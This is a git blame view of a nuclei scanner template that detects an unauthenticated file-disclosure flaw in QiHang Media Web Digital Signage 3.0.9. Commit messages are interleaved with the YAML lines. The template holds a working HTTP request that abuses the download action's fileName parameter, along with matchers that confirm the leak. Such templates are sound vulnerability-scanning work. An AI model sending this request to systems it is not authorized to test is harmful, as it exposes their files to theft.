daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/vulnerabilities/other/qihang-media-lfi.yaml

45 lines
1.5 KiB
YAML
Raw Normal View History

Update and rename qihang-media-web-lfi.yaml to qihang-media-lfi.yaml
2021-10-01 10:58:20 +00:00
id: qihang-media-lfi
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
info:
Dashboard Content Enhancements (#4191) Dashboard Content Enhancements
2022-04-21 21:16:41 +00:00
name: QiHang Media Web (QH.aspx) Digital Signage 3.0.9 - Arbitrary File Disclosure
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
author: gy741
severity: high
templateman update
2023-10-14 11:27:55 +00:00
description: The QiHang Media Web application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php
Dashboard Content Enhancements (#4191) Dashboard Content Enhancements
2022-04-21 21:16:41 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cwe-id: CWE-22
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
templateman update
2023-10-14 11:27:55 +00:00
tags: qihang,lfi,disclosure
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
- raw:
- |
GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: word
template syntax fixes (#4711)
2022-06-30 11:19:17 +00:00
part: header
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
words:
Update and rename qihang-media-web-lfi.yaml to qihang-media-lfi.yaml
2021-10-01 10:58:20 +00:00
- "filename=QH.aspx"
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
- "application/zip"
condition: and
- type: word
template syntax fixes (#4711)
2022-06-30 11:19:17 +00:00
words:
Create qihang-media-web-lfi.yaml The application suffers from an unauthenticated file disclosure vulnerability when input passed thru the filename parameter when using the download action or thru path parameter when using the getAll action is not properly verified before being used. This can be exploited to disclose contents of files and directories from local resources. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-10-01 06:35:12 +00:00
- "QH.aspx.cs"
- "QiHang.Media.Web.QH"
condition: and
- type: status
status:
- 200
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot:
2023-10-20 11:41:13 +00:00
# digest: 4b0a00483046022100aa0fbd9f5a847e38903648d9a20c2b02f671b1df7afad62aefcfe8610374e76c022100d3fb3a647c21e971fb7e2f85ae207fa8fb9474d58f21d150fce4c44f1c89e60e:922c64590222798bb761d5b6d8e72950